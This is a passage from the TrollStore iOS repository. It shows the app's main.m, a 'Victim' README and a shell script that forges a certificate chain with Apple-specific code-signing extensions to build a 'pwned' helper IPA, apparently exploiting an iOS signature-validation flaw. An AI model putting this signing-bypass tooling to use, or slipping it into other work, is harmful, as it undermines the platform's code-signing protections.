com.apple.CommCenter.fine-grained 39 | 40 | data-allowed-write 41 | 42 | com.apple.springboard.opensensitiveurl 43 | 44 | 45 | -------------------------------------------------------------------------------- /TrollStore/main.m: -------------------------------------------------------------------------------- 1 | #import 2 | #import "TSAppDelegate.h" 3 | #import "TSUtil.h" 4 | 5 | NSUserDefaults* trollStoreUserDefaults(void) 6 | { 7 | return [[NSUserDefaults alloc] initWithSuiteName:[NSHomeDirectory() stringByAppendingPathComponent:@"Library/Preferences/com.opa334.TrollStore.plist"]]; 8 | } 9 | 10 | int main(int argc, char *argv[]) { 11 | @autoreleasepool { 12 | chineseWifiFixup(); 13 | return UIApplicationMain(argc, argv, nil, NSStringFromClass(TSAppDelegate.class)); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /Victim/README.md: -------------------------------------------------------------------------------- 1 | # Victim IPA and Cert 2 | 3 | In order to compile a pwned TrollHelperOTA arm64 IPA, you need to provide a dev cert with the same team ID as your victim app in this directory. 4 | 5 | ```bash 6 | ./make_cert.sh 7 | ``` 8 | -------------------------------------------------------------------------------- /Victim/make_cert.sh: -------------------------------------------------------------------------------- 1 | set -e 2 | export PATH="/opt/homebrew/Cellar/openssl@3/3.0.5/bin:$PATH" 3 | 4 | true && openssl req -newkey rsa:2048 -nodes -keyout root_key.pem -x509 -days 3650 -out root_certificate.pem \ 5 | -subj "/C=CA/O=TrollStore/OU=$1/CN=TrollStore iPhone Root CA" \ 6 | -addext "1.2.840.113635.100.6.2.18=DER:0500" \ 7 | -addext "basicConstraints=critical, CA:true" -addext "keyUsage=critical, digitalSignature, keyCertSign, cRLSign" 8 | true && openssl req -newkey rsa:2048 -nodes -keyout codeca_key.pem -out codeca_certificate.csr \ 9 | -subj "/C=CA/O=TrollStore/OU=$1/CN=TrollStore iPhone Certification Authority" \ 10 | -addext "1.2.840.113635.100.6.2.18=DER:0500" \ 11 | -addext "basicConstraints=critical, CA:true" -addext "keyUsage=critical, keyCertSign, cRLSign" 12 | true && openssl x509 -req -CAkey root_key.pem -CA root_certificate.pem -days 3650 \ 13 | -in codeca_certificate.csr -out codeca_certificate.pem -CAcreateserial -copy_extensions copyall 14 | true && openssl req -newkey rsa:2048 -nodes -keyout dev_key.pem -out dev_certificate.csr \ 15 | -subj "/C=CA/O=TrollStore/OU=$1/CN=TrollStore iPhone OS Application Signing" \ 16 | -addext "basicConstraints=critical, CA:false" \ 17 | -addext "keyUsage = critical, digitalSignature" -addext "extendedKeyUsage = codeSigning" \ 18 | -addext "1.2.840.113635.100.6.1.3=DER:0500" 19 | true && openssl x509 -req -CAkey codeca_key.pem -CA codeca_certificate.pem -days 3650 \ 20 | -in dev_certificate.csr -out dev_certificate.pem -CAcreateserial -copy_extensions copyall 21 | true && cat codeca_certificate.pem root_certificate.pem >certificate_chain.pem 22 | true && /usr/bin/openssl pkcs12 -export -in dev_certificate.pem -inkey dev_key.pem -certfile certificate_chain.pem \ 23 | -keypbe NONE -certpbe NONE -passout pass: \ 24 | -out victim.p12 -name "TrollStore iPhone OS Application Signing" 25 | 26 | rm certificate_chain.pem 27 | rm codeca_certificate.csr 28 | rm codeca_certificate.pem 29 | rm codeca_key.pem 30 | rm dev_certificate.csr 31 | rm dev_certificate.pem 32 | rm dev_key.pem 33 | rm root_certificate.pem 34 | rm root_key.pem -------------------------------------------------------------------------------- /Victim/victim.p12: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/Victim/victim.p12 -------------------------------------------------------------------------------- /legacy.p12: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/legacy.p12 --------------------------------------------------------------------------------